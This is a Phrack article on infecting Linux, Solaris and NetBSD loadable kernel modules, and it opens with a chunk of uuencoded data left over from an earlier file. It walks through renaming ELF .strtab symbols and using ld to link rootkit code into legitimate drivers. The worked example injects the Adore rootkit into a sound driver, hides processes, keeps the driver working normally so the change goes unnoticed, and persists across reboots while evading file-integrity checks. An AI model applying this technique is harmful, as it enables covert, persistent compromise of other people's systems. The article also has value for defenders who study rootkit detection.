M+C*E!=44D/>962\IJW7$[DC9.Z$?G!H6;(9$GP@WID-Y1WL#;&)DO`*&K45-
M]UH40'P1Z<!FD*QTBQ.!E:#=Q[A*^4?"-G2TVXL\H77()%]>S4`$.F>]K#V`
M]2KZC%OO6VY"T'R,44+>&]2HB2CK=(K\_GC<>.$5#SX9'(Z;[QMMO_CZ47."
MFL\';&HN1LQ`#![MH,GW_!X_;)QMI!D,^"=&:S<$\6P+IRC@\<,C%9J[X'M5
M4(R\E(^[_S0AI(UM1$[31RKN_G4Y6XK[<L"N>+W\]<O_?B@D3E:6+C)`O'$S
M3Y,Y#UC#`KYUM$_#YI?_W.H-$MD+@<,/+>9D+0XN+G9_D4-.?OIN!X.T43OX
M4.CZ3I2I&T6\FZUA%FX8]N)6@F3TZ3\<X?4TVL/3(C:T&N4O0,5FEEJGD?*V
MQ[1M1E#M_&8$5!8CFS)F];_C3+%NN0>-O1_5D#8=*KO-LY=:E#TNC@:P^F+T
MA/VU.]/T&((8)GH)3ROAE0[CH`QX.CSVE(`9C.4/)4D,N4U_?Q&6*=?\[W]O
M\O05#SI[DB7+![>Q\?R?N&/Y_T517/G_["5UB%?SZ.73*Z!72*^(7C&]NO3J
MT:M/KX1>0WJE],KHE=-KA+H,``@>(#Q@>`#Q@.(!Q@..!R`/2!Z@/&!Y`/.`
MY@'.`YX//)_U"'@^\'S@^<#S@><#SP>>#SP?>#[P?.#YP/.!YP,O`%X`O(`]
M(O`"X`7`"X`7`"\`7@"\`'@!\`+@!<`+@!<`+P1>"+P0>"&C&?!"X(7`"X$7
M`B\$7@B\$'@A\$+@A<`+@1<!+P)>!+P(>!%["<"+@!<!+P)>!+P(>!'P(N!%
MP(N`%P$O!EX,O!AX,?!BX,7LK0(O!EX,O!AX,?!BX,7`BX$7`R\&7A=X7>!U
M@=<%7A=X7>!UV3`!7A=X7>!U@=<%7A=X7>!U@=<%7@]X/>#U@-<#7@]X/>#U
M@-=CXPYX/>#U@-<#7@]X/>#U@-<#7A]X?>#U@=<'7A]X?>#U@=<'7I\-9.#U
M@=<'7A]X?>#U@=<'7@*\!'@)\!+@)<!+@)<`+P%>`KR$?1G`2X"7`"\!7@*\
M!'A#X`V!-P3>$'A#X`V!-P3>$'A#X`V!-V2?&O"&P!L";PB\(?!2X*7`2X&7
M`B\%7@J\%'@I\%+@I<!+@9>R;Q=X*?!2X*7`RX"7`2\#7@:\#'@9\#+@9<#+
M@)<!+P->!KR,,0/@9<#+@)<#+P=>#KP<>#GP<N#EP,N!EP,O!UX.O!QX.?!R
MQEV`EP-O!+P1\$;`&P%O!+P1\$;`&P%O!+P1\$;`&P%O!+P1\$:,70'O]^:W
M7UI:N?Z?[6;O']](F^1]'06'_#0*V_E/Y_^\G/63]AQGUKGSZAT=ALPVK1_(0
M37,&=00[B&D".;+K'@&X7-.P9O)RSB;($;W%IZ/3V\D0D]VU)A=E;Z'5WEWG
MT\OEU4`LVM`[W`2&&BM/I^&ME`QHC"Q'!:AM"^/5S`FG#']VB`:;AV.]>J.%
MY[+P/A5KWH?"P/VI1"87.1F5+"(XR+3*YN0@B!81L*!>VR];0;6H?1HYC&JH
MMVDJ3HG$QQ^M\,8_&E\T&D=>W&AJ=P_I[0:=LS7<QJH2Z4`[:V"3A!-)GKR1
MR"ZQ8/7/.L]XD%2!TV$-\2S/S/*T+-_,\K6LP,P*M*S0S`JUK,C,BK2LV,R*
MM:RNF=75LGIF5D_+ZIM9?2TKL1Y9)\?0RM/ID5IY.D$R*T^G2&[EZ20967DZ
M3;Y=T\^7:_IYMJ:?K];T\_6:?IX[^_E)C4W2>32/19?\5P<,[ZB-3B?L=*-H
MI?\'34S^QW[<]?C^/^;_$>VH_;7I*Y?_:]^_/'SZ@9K@!OW/*^P_GA='6/^G
MI>-*_]M':A_5J)Y&Q!GD)"%GW[_^F>_^I.)O1I(I^2%97N639#E.$Y+?W5S/
MQLMD>)V3T?@:L=QI[7\D4Q2[3F<3\OPW^F/"_O^7Y!I.`R>S^>6+&F*!U[;U
M-JAQIX'QE*T()?/+M*6\.>>7'Z6#D%BCIOUPN`:EFH</0B92D&\&ONUX@R2C
MKLAQ3X:_;?-(B,IHX(A4)W]?))<Y(C<N&)%H0;*R9$[^EB?9]^/%DA-<I_82
ML5^2C&3),CFIM_#H6%DZ-;!<!RDBR!Q:%BNUK*)WH1_T;%)`'$+,0Y<O4U87
MQQ"__O%\[3''%@&?W")096IU\%/QTTGV\@G0<LT5O7`\;$<+?>-:#7`0A#5.
M.U+-_ZWDXO^"&>Q*_'^._`]P_F\E_Q\_K7O_*?^[H_.?U_C_1FK_![U@_XF]
MH++_["4Y)'(-.@%/A5J@=J21T9R*1+@;G9'SV7P"(94(70`BGHEI_'PW32;Y
MFXM!G0>'J-NF&W*&ZN\4,"U:J[^]B[^E5X]?_CG]Z]/+>WO7#:Q[?7J]QL:R
MMW>O`X26>WOWRJ\#(J+942"R/`[9>4GOT>IGKQ!7511_R?^>T=]A1^;53S7U
MHZ&$1UGCX,OLD.\#(CVBQ&.WZK\VI5"3`9Z1V:H_6=1;UH/+PXL-J2>$I9K_
M/=9JL>O[YTY`)SN-_Q)W5N__\K3]OQVV_RL,.I7__U[2MAKY-HZ_IMM6R?/T
M?N["[(-K'Y&?DU]RDB;SG!W[0\:+Z3/LY$W2*UKX&W["D*N9UF^S+,$7R#]9
MWO*[+/\X3MEL`>CM'^E7.YY>,G;6IGEBZ!->#'NKC'I"G29U5O:6Y]5)BT@O
M2`8*?1Z@=.HTGK*X7B.J5"\.Y>:KIZ*'A!__93M<MLPV&2Z>I3@KBSQ_3KSX
M=)?`XRDVV!ZRGTW93H,\8<?`']/L1O%\9Y1-2:(5A!+<J]Q$3=]]RUIH5/MO
MOYAD\_]EOMB=XB_2MOH_SO_DYW\$G3BN]/]]).?[QYK:'*K)+N-_K-3_@ZX?
```

```
MV?Y?=`90R?]]))?^7^WUD7M]JJTSU=:9:NM,M76FVCKSA]DZ4UY9$JXP6".Y
MX*3:P+4MXN$51AT^5`1C<\L)L0S#.K5BY&.H4ZR6$%[&V*/W"WYD'QL&NY)R
M_KF'_'?J?Y/9[IS__FNC_A=W.K;^%W:J_=_[297^MX.]WGR76W[YSB6AAN*$
M&5+L=:LV95>:9:595IIEI5G^D33+1Q`67^'.:4D9?=NPY"MXH32_VJ[\.VU7
M7NV6I\^>#!UD.C1'I*&ME`?_H/[VKA.\O0L]?G7$%?KB"HHK"ND5U65+<N#(
MC1M#=AS/EA.RFN8%^#&9+O\LG=*T$:X(8@]TY?YV]V<J*N$"IP9ZJV`]IY*P
M%HL`3U#L`-^_<$77NW0SSQ>/UJ5J+>XK3L[YOW``V>G^OZW\/]3\/^Q6\_^]
MI,K_H_+_J/P_OM[DY/]_>_WMJQ]>[ZR-3?Z_@=^U^'_0K<Y_VD_Z^6J\H!KE
M=99C)6.ZI,K]@BQFDYQ@)"RH(CF[I(KJ2>TR3<EQ2MC2P"G!+Z$ES-B]&3F>
ML2JU/[$_Y.2DO;C)T^7\=M*F)%[ZA(XT"IWGE.G<DJO9K^17V@BX.Q@)57S'
M4\:+V2Z86I*FLUO*/<D_:.$T@:%B]@M)EJPP\T.F$SL`_9I@PCHC5\G'G+'<
M+$].*NY2I2I5J4I5JE*5JE2E*E6I2E6J4I6J5*4J5:E*5:I2E;[>]&_'0]PH
$`/@'````
`
end
```

```
|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x0a of 0x0f

|=-----------------=[Infecting loadable kernel modules]=-----------------=|

|=---=|

|=--------------------=[truff <truff@projet7.org>]=-------------------=|

--[Contents

1 - Introduction

2 - ELF basis
  2.1 - The .symtab section
  2.2 - The .strtab section

3 - Playing with loadable kernel modules
  3.1 - Module loading
  3.2 - .strtab modification
  3.3 - Code injection
  3.4 - Keeping stealth

4 - Real life example
  4.1 - Lkm infecting mini-howto
  4.2 - I will survive (a reboot)

5 - What about other systems ?
  5.1 - Solaris
  5.2 - *BSD
    5.2.1 - FreeBSD
    5.2.2 - NetBSD
    5.2.3 - OpenBSD

6 - Conclusion

7 - Greetings

8 - References

9 - Code
  9.1 - ElfStrChange
  9.2 - Lkminject

--[1 - Introduction

Since a few years we have seen a lot of rootkits using loadable kernel modules. Is this a fashion ? not really, lkm's are widely used because they are powerfull: you can hide files, processes and do other nice things. The first rootkits using lkm's could be easily detected because they where listed when issuing a lsmod. We have seen lots of techniques to hide modules, like the one used in Plaguez's paper [1] or the more tricky used in the Adore Rootkit [2]. A few years later we have seen other techniques based on the modification of the kernel memory image using /dev/kmem [3]. Finally, a technique of static kernel patching was presented to us in [4]. This one solves an important problem: the rootkit will be reloaded after a reboot.

The goal of this paper is to describe a new technique used to hide lkm's and to ensure us that they will be reloaded after a reboot. We are going to see how to do this by infecting a kernel module used by the system. We will focus on Linux kernel x86 2.4.x series but this technique can be applied to other operating systems that use the ELF format. Some knowledge is necessary to understand this technique. Kernel modules are ELF object files, we will thus study the ELF format focusing on some particular parts related to the symbol naming in an ELF object file. After that, we will study the mechanisms wich are used to load a module to give us some knowledge on the technique which will permit to inject code into a kernel module. Finally, we will see how we can inject a module into another one in real life.

--[2 - ELF Basis

The Executable and Linking Format (ELF) is the executable file format used on the Linux operating system. We are going to have a look at the part of this format which interests us and which will be useful later (Read [1] to have a full description of the ELF format). When linking two ELF objects the linker needs to know some data refering to the symbols contained in each object. Each ELF object (lkm's for example) contains two sections whose role is to store structures of information describing each symbol. We are going to study them and to extract some usefull ideas for the infection of a kernel module.

----[2.1 - The .symtab section

This section is a tab of structures that contains data requiered by the linker to use symbols contained in a ELF object file. This structure is defined in the file /usr/include/elf.h:

```
/* Symbol table entry.  */

typedef struct
{
  Elf32_Word    st_name;        /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;       /* Symbol value */
  Elf32_Word    st_size;        /* Symbol size */
  unsigned char st_info;        /* Symbol type and binding */
  unsigned char st_other;       /* Symbol visibility */
  Elf32_Section st_shndx;       /* Section index */
} Elf32_Sym;
```

The only field which will interest us later is st_name. This field is an index of the .strtab section where the name of the symbol is stored.

----[2.2 - The .strtab section

The .strtab section is a tab of null terminated strings. As we saw above, the st_name field of the Elf32_Sym structure is an index in the .strtab section, we can thus easily obtain the offset of the string which contains the name of the symbol by the following formula:

```
  offset_sym_name = offset_strtab + st_name
```

offset_strtab is the offset of the .strtab section from the beginning of the file. It is obtained by the section name resolution mechanism which I will not describe here because it does not bring any interest to the covered subject. This mechanism is fully described in [5] and implemented in the code (paragraph 9.1).

We can then deduce that the name of a symbol in a ELF object can be easily accessed and thus easily modified. However a rule must be complied with to carry out a modification. We saw that the .strtab section is a succession of null terminated strings, this implies a restriction on the new name of a symbol after a modification: the length of the new name of the symbol will have to be lower or equal to that of the original name overwise it will overflow the name of the next symbol in the .strtab section.

We will see thereafter that the simple modification of a symbol's name will lead us to the modification of the normal operation of a kernel module and finally to the infection of a module by another one.

--[3 - Playing with loadable kernel modules

The purpose of the next section is to show the code which dynamically loads a module. With this concepts in mind, we will be able to foresee the technique which will lead us to inject code into the module.

----[3.1 - Module Loading

Kernel modules are loaded with the userland utility insmod which is part of the modutils[6] package. The interesting stuff is located in the init_module() functions of the insmod.c file.

```
static int init_module(const char *m_name, struct obj_file *f,
        unsigned long m_size, const char *blob_name,
        unsigned int noload, unsigned int flag_load_map)
{
(1)     struct module *module;
        struct obj_section *sec;
        void *image;
        int ret = 0;
        tgt_long m_addr;

        ....

(2)     module->init = obj_symbol_final_value(f,
                obj_find_symbol(f, "init_module"));
(3)     module->cleanup = obj_symbol_final_value(f,
                obj_find_symbol(f, "cleanup_module"));

        ....

        if (ret == 0 && !noload) {
                fflush(stdout);         /* Flush any debugging output */
(4)             ret = sys_init_module(m_name, (struct module *) image);
                if (ret) {
                        error("init_module: %m");
                        lprintf(
      "Hint: insmod errors can be caused by incorrect module parameters, "
      "including invalid IO or IRQ parameters.\n"
      "You may find more information in syslog or the output from dmesg");
                }
        }
```

This function is used (1) to fill a struct module which contains the necessary data to load the module. The interestings fields are init_module and cleanup_module which are functions pointers pointing respectively to the init_module() and cleanup_module() of the module being loaded. The obj_find_symbol() function (2) extracts a struct symbol by traversing the symbol table and looking for the one whose name is init_module. This struct is passed to the obj_symbol_final_value() which extracts the address of the init_module function from the struct symbol. The same operation is then carried out (3) for the function cleanup_module(). It is necessary to keep in mind that the functions which will be called when initializing and terminating the module are those whose entry in the .strtab section corresponds respectively to init_module and cleanup_module.

When the struct module is completely filled in (4) the sys_init_module() syscall is called to let the kernel load the module.

Here is the interesting part of the sys_init_module() syscall wich is called during module loading. This function’s code is located in the /usr/src/linux/kernel/module.c file:

```
asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
        struct module mod_tmp, *mod;
        char *name, *n_name, *name_tmp = NULL;
        long namelen, n_namelen, i, error;
        unsigned long mod_user_size;
        struct module_ref *dep;

        /* Lots of sanity checks */
        .....
        /* Ok, that's about all the sanity we can stomach; copy the rest.*/

(1)     if (copy_from_user((char *)mod+mod_user_size,
                           (char *)mod_user+mod_user_size,
                           mod->size-mod_user_size)) {
                error = -EFAULT;
                goto err3;
        }

        /* Other sanity checks */

        ....

        /* Initialize the module.  */
        atomic_set(&mod->uc.usecount,1);
        mod->flags |= MOD_INITIALIZING;
(2)     if (mod->init && (error = mod->init()) != 0) {
                atomic_set(&mod->uc.usecount,0);
                mod->flags &= ~MOD_INITIALIZING;
                if (error > 0)  /* Buggy module */
                        error = -EBUSY;
                goto err0;
        }
        atomic_dec(&mod->uc.usecount);
```

After a few sanity checks, the struct module is copied from userland to kernelland by calling (1) copy_from_user(). Then (2) the init_module() function of the module being loaded is called using the mod->init() funtion pointer wich has been filled by the insmod utility.

----[3.2 - .strtab modification

We have seen that the address of the module's init function is located using a string in the .strtab section. The modification of this string will allow us to execute another function than init_module() when the module is loaded.

There are a few ways to modify an entry of the .strtab section. The -wrap option of ld can be used to do it but this option isn't compatible with the -r option that we will need later (paragraph 3.3). We will see in paragraph 5.1 how to use xxd to do the work. I have coded a tool (paragraph 9.1) to automate this task.

Here's a short example:

```
$ cat test.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
  printk ("<1> Into init_module()\n");
  return 0;
}
```

```
int evil_module(void)
{
  printk ("<1> Into evil_module()\n");
  return 0;
}

int cleanup_module(void)
{
  printk ("<1> Into cleanup_module()\n");
  return 0;
}

$ cc -O2 -c test.c
```

Let’s have a look at the .symtab and .strtab sections:

```
$ objdump -t test.o

test.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 test.c
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  .bss   0000000000000000
0000000000000000 l    d  .modinfo  0000000000000000
0000000000000000 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    d  .rodata   0000000000000000
0000000000000000 l    d  .comment  0000000000000000
0000000000000000 g     F .text  0000000000000014 init_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000014 g     F .text  0000000000000014 evil_module
0000000000000028 g     F .text  0000000000000014 cleanup_module
```

We are now going to modify 2 entries of the .strtab section to make the evil_module symbol’s name become init_module. First we must rename the init_module symbol because 2 symbols of the same nature can’t have the same name in the same ELF object. The following operations are carried out:

```
                rename
1)  init_module  ---->  dumm_module
2)  evil_module  ---->  init_module


$ ./elfstrchange test.o init_module dumm_module
[+] Symbol init_module located at 0x3dc
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange test.o evil_module init_module
[+] Symbol evil_module located at 0x3ef
[+] .strtab entry overwriten with init_module

$ objdump -t test.o

test.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 test.c
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  .bss   0000000000000000
0000000000000000 l    d  .modinfo  0000000000000000
0000000000000000 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    d  .rodata   0000000000000000
0000000000000000 l    d  .comment  0000000000000000
0000000000000000 g     F .text  0000000000000014 dumm_module
0000000000000000         *UND*  0000000000000000 printk
```

```
0000000000000014 g     F .text  0000000000000014 init_module
0000000000000028 g     F .text  0000000000000014 cleanup_module


# insmod test.o
# tail -n 1 /var/log/kernel
May  4 22:46:55 accelerator kernel:  Into evil_module()
```

As we can see, the evil_module() function has been called instead of init_module().

----[3.3 - Code injection

The preceding tech makes it possible to execute a function instead of another one, however this is not very interesting. It will be much better to inject external code into the module. This can be *easily* done by using the wonderfull linker: ld.

```
$ cat original.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
  printk ("<1> Into init_module()\n");
  return 0;
}

int cleanup_module(void)
{
  printk ("<1> Into cleanup_module()\n");
  return 0;
}

$ cat inject.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>


int inje_module (void)
{
  printk ("<1> Injected\n");
  return 0;
}

$ cc -O2 -c original.c
$ cc -O2 -c inject.c
```

Here starts the important part. The injection of the code is not a problem because kernel modules are relocatable ELF object files. This type of objects can be linked together to share symbols and complete each other. However a rule must be complied: the same symbol can't exist in several modules which are linked together. We use ld with the -r option to make a partial link wich creates an object of the same nature as the objects wich are linked. This will create a module which can be loaded by the kernel.

```
$ ld -r original.o inject.o -o evil.o
$ mv evil.o original.o
$ objdump -t original.o
```

```
original.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  .rodata   0000000000000000
0000000000000000 l    d  .modinfo  0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  .bss   0000000000000000
0000000000000000 l    d  .comment  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    df *ABS*  0000000000000000 original.c
0000000000000000 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    df *ABS*  0000000000000000 inject.c
0000000000000016 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000014 g     F .text  0000000000000014 cleanup_module
0000000000000000 g     F .text  0000000000000014 init_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000028 g     F .text  0000000000000014 inje_module
```

The inje_module() function has been linked into the module. Now we are going to modify the .strtab section to make inje_module() be called instead of init_module().

```
$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4a8
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4bb
[+] .strtab entry overwriten with init_module
```

Let’s fire it up:

```
# insmod original.o
# tail -n 1 /var/log/kernel
May 14 20:37:02 accelerator kernel:  Injected
```

And the magic occurs :)

----[3.4 - Keeping stealth

Most of the time, we will infect a module which is in use. If we replace the init_module() function with another one, the module loses its original purpose for our profit. However, if the infected module does not work properly it can be easily detected. But there is a solution that permits to inject code into a module without modifying its regular behaviour. After the .strtab hack, the real init_module() function is named dumm_module. If we put a call to dumm_module() into our evil_module() function, the real init_module() function will be called at initialization and the module will keep its regular behaviour.

```
                 replace
    init_module  ------>  dumm_module
    inje_module  ------>  init_module (will call dumm_module)
```

```
$ cat stealth.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
```

```
#include <linux/kernel.h>


int inje_module (void)
{
  dumm_module ();
  printk ("<1> Injected\n");
  return 0;
}

$ cc -O2 -c stealth.c
$ ld -r original.o stealth.o -o evil.o
$ mv evil.o original.o
$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4c9
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4e8
[+] .strtab entry overwriten with init_module

# insmod original.o
# tail -n 2 /var/log/kernel
May 17 14:57:31 accelerator kernel:  Into init_module()
May 17 14:57:31 accelerator kernel:  Injected
```

Perfect, the injected code is executed after the regular code so that the modification is stealth.

--[4 - Real life example

The method used to modify init_module() in the preceding parts can be applied without any problem to the cleanup_module() function. Thus, we can plan to inject a complete module into another one. I've injected the well known Adore[2] rootkit into my sound driver (i810_audio.o) with a rather simple handling.

----[4.1 - Lkm infecting mini-howto

1) We have to slightly modify adore.c

  - Insert a call to dumm_module() in the init_module() function's code
  - Insert a call to dummcle_module() in the cleanup_module() module function's code
  - Replace the init_module function's name with evil_module
  - Replace the cleanup_module function's name with evclean_module

2) Compile adore using make

3) Link adore.o with i810_audio.o

```
ld -r i810_audio.o adore.o -o evil.o
```

If the module is already loaded, you have to remove it:

```
rmmod i810_audio

mv evil.o i810_audio.o
```

4) Modify the .strtab section

```
                 replace
  init_module    ------> dumm_module
  evil_module    ------> init_module (will call dumm_module)
  cleanup_module ------> evclean_module
  evclean_module ------> cleanup_module (will call evclean_module)

$ ./elfstrchange i810_audio.o init_module dumm_module
[+] Symbol init_module located at 0xa2db
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange i810_audio.o evil_module init_module
[+] Symbol evil_module located at 0xa4d1
[+] .strtab entry overwriten with init_module

$ ./elfstrchange i810_audio.o cleanup_module dummcle_module
[+] Symbol cleanup_module located at 0xa169
[+] .strtab entry overwriten with dummcle_module

$ ./elfstrchange i810_audio.o evclean_module cleanup_module
[+] Symbol evclean_module located at 0xa421
[+] .strtab entry overwriten with cleanup_module
```

5) Load and test the module

```
# insmod i810_audio
# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]

       h hide file
       u unhide file
       r execute as root
       R remove PID forever
       U uninstall adore
       i make PID invisible
       v make PID visible

# ps
  PID TTY          TIME CMD
 2004 pts/3    00:00:00 bash
 2083 pts/3    00:00:00 ps

# ./ava i 2004
Checking for adore  0.12 or higher ...
Adore 0.53 installed. Good luck.
Made PID 2004 invisible.

root@accelerator:/home/truff/adore# ps
  PID TTY          TIME CMD
#
```

Beautifull :) I've coded a little shell script (paragraph 9.2) which does some part of the work for lazy people.

----[4.2 - I will survive (a reboot)

When the module is loaded, we have two options that have pros and cons:

* Replace the real module located in /lib/modules/ by our infected one. This will ensure us that our backdoor code will be reloaded after a reboot. But, if we do that we can be detected by a HIDS (Host Intrusion Detection System) like Tripwire [7]. However, a kernel module is not an executable nor a suid file, so it won't be detected unless the HIDS is configured to be paranoid.

* Let the real kernel module unchanged in /lib/modules and delete our infected module. Our module will be removed when rebooting, but it won't be detected by a HIDS that looks for changed files.

--[5 - What about other systems ?

----[5.1 - Solaris

I've used a basic kernel module from [8] to illustrate this example. Solaris kernel modules use 3 principal functions:

- _init will be called at module initialisation
- _fini will be called at module cleanup
- _info prints info about the module when issuing a modinfo

```
$ uname -srp
SunOS 5.7 sparc

$ cat mod.c
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc = {
        &mod_miscops,
        "Real Loadable Kernel Module",
};

static struct modlinkage modlinkage = {
        MODREV_1,
        (void *)&modlmisc,
        NULL
};

int _init(void)
{
        int i;
        if ((i = mod_install(&modlinkage)) != 0)
                cmn_err(CE_NOTE,"Could not install module\n");
        else
                cmn_err(CE_NOTE,"mod: successfully installed");
        return i;
}

int _info(struct modinfo *modinfop)
{
        return (mod_info(&modlinkage, modinfop));
}

int _fini(void)
{
        int i;
        if ((i = mod_remove(&modlinkage)) != 0)
                cmn_err(CE_NOTE,"Could not remove module\n");
        else
                cmn_err(CE_NOTE,"mod: successfully removed");
        return i;
}


$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c
$ ld -r -o mod mod.o
$ file mod
mod:            ELF 64-bit MSB relocatable SPARCV9 Version 1
```

As we have seen in the Linux case, the code we are going to inject must contains a call to the real init function to make the module keeps its regular behaviour. However, we are going to face a problem: if we modify the .strtab section after the link operation, the dynamic loader doesn't find the _dumm() function and the module can't be loaded. I've not invistigated a lot into this problem but i think that the dynamic loader on Solaris doesn't looks for undefined symbols into the module itself. However, this problem can be easily solved. If we change the real _init .strtab entry to _dumm before the link operation, everything works well.

```
$ readelf -S mod
There are 10 section headers, starting at offset 0x940:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .text             PROGBITS         0000000000000000  00000040
       0000000000000188  0000000000000000  AX       0     0     4
  [ 2] .rodata           PROGBITS         0000000000000000  000001c8
       000000000000009b  0000000000000000   A       0     0     8
  [ 3] .data             PROGBITS         0000000000000000  00000268
       0000000000000050  0000000000000000  WA       0     0     8
  [ 4] .symtab           SYMTAB           0000000000000000  000002b8
       0000000000000210  0000000000000018           5     e     8
  [ 5] .strtab           STRTAB           0000000000000000  000004c8
       0000000000000065  0000000000000000           0     0     1
  [ 6] .comment          PROGBITS         0000000000000000  0000052d
       0000000000000035  0000000000000000           0     0     1
  [ 7] .shstrtab         STRTAB           0000000000000000  00000562
       000000000000004e  0000000000000000           0     0     1
  [ 8] .rela.text        RELA             0000000000000000  000005b0
       0000000000000348  0000000000000018           4     1     8
  [ 9] .rela.data        RELA             0000000000000000  000008f8
       0000000000000048  0000000000000018           4     3     8
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
```

The .strtab section starts at offset 0x4c8 and has a size of 64 bytes. We are going to use vi and xxd as an hex editor. Load the module into vi with: vi mod. After that use :%!xxd to convert the module into hex values. You will see something like this:

```
00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins
0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69  tall._init.mod_i
                        ^^^^^^^^^
```

We modify 4 bytes to replace _init by _dumm.

```
00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins
0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69  tall._init.mod_i
                        ^^^^^^^^^
```

We use :%!xxd -r to recover the module from hex values, then we save and exit :wq . After that we can verify that the replacement is successfull.

```
$ objdump -t mod

mod:     file format elf64-sparc
```

```
SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 mod
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .rodata        0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  .comment       0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    df *ABS*  0000000000000000 mod.c
0000000000000010 l     O .data  0000000000000040 modlinkage
0000000000000000 l     O .data  0000000000000010 modlmisc
0000000000000000         *UND*  0000000000000000 mod_miscops
00000000000000a4 g     F .text  0000000000000040 _info
0000000000000000         *UND*  0000000000000000 mod_install
0000000000000000 g     F .text  0000000000000188 _dumm
0000000000000000         *UND*  0000000000000000 mod_info
0000000000000000         *UND*  0000000000000000 mod_remove
00000000000000e4 g     F .text  0000000000000188 _fini
0000000000000000         *UND*  0000000000000000 cmn_err
```

The _init symbol has been replaced by _dumm. Now we can directly inject a function which name is _init without any problem.

```
$ cat evil.c
int _init(void)
{
        _dumm ();
        cmn_err(1,"evil: successfully installed");
        return 0;
}

$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c
$ ld -r -o inject inject.o
```

The injecting part using ld:

```
$ ld -r -o evil mod inject
```

Load the module:

```
# modload evil
# tail -f /var/adm/messages
Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed
Jul 15 10:58:33 luna unix: NOTICE: evil: successfully installed
```

The same operation can be carried out for the _fini function to inject a complete module into another one.

----[5.2 - *BSD

------[5.2.1 - FreeBSD

```
% uname -srm
FreeBSD 4.8-STABLE i386

% file /modules/daemon_saver.ko
daemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1
(FreeBSD), not stripped
```

As we can see, FreeBSD kernel modules are shared objects.Thus, we can’t use ld to link aditionnal code into the module. Furthermore, the mechanism which is in use to load a module is completely different from the one used on Linux or Solaris systems. You can have a look to it in /usr/src/sys/kern/kern_linker.c . Any name can be used for the init/cleanup function. At initialisation the loader finds the address of the init function into a structure stored in the .data section. Then the .strtab hack can't be used too.

------[5.2.2 - NetBSD

```
$ file nvidia.o
nvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version 1
(SYSV), not stripped
```

We can inject code into a NetBSD kernel module because it's a relocatable ELF object. When modload loads a kernel module it links it with the kernel and execute the code placed at the entry point of the module (located in the ELF header).
After the link operation we can change this entry point, but it is not necessary because modload has a special option (-e) that allows to tell it which symbol to use for the entry point.

Here's the example module we are going to infect:

```
$ cat gentil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

MOD_MISC("gentil");

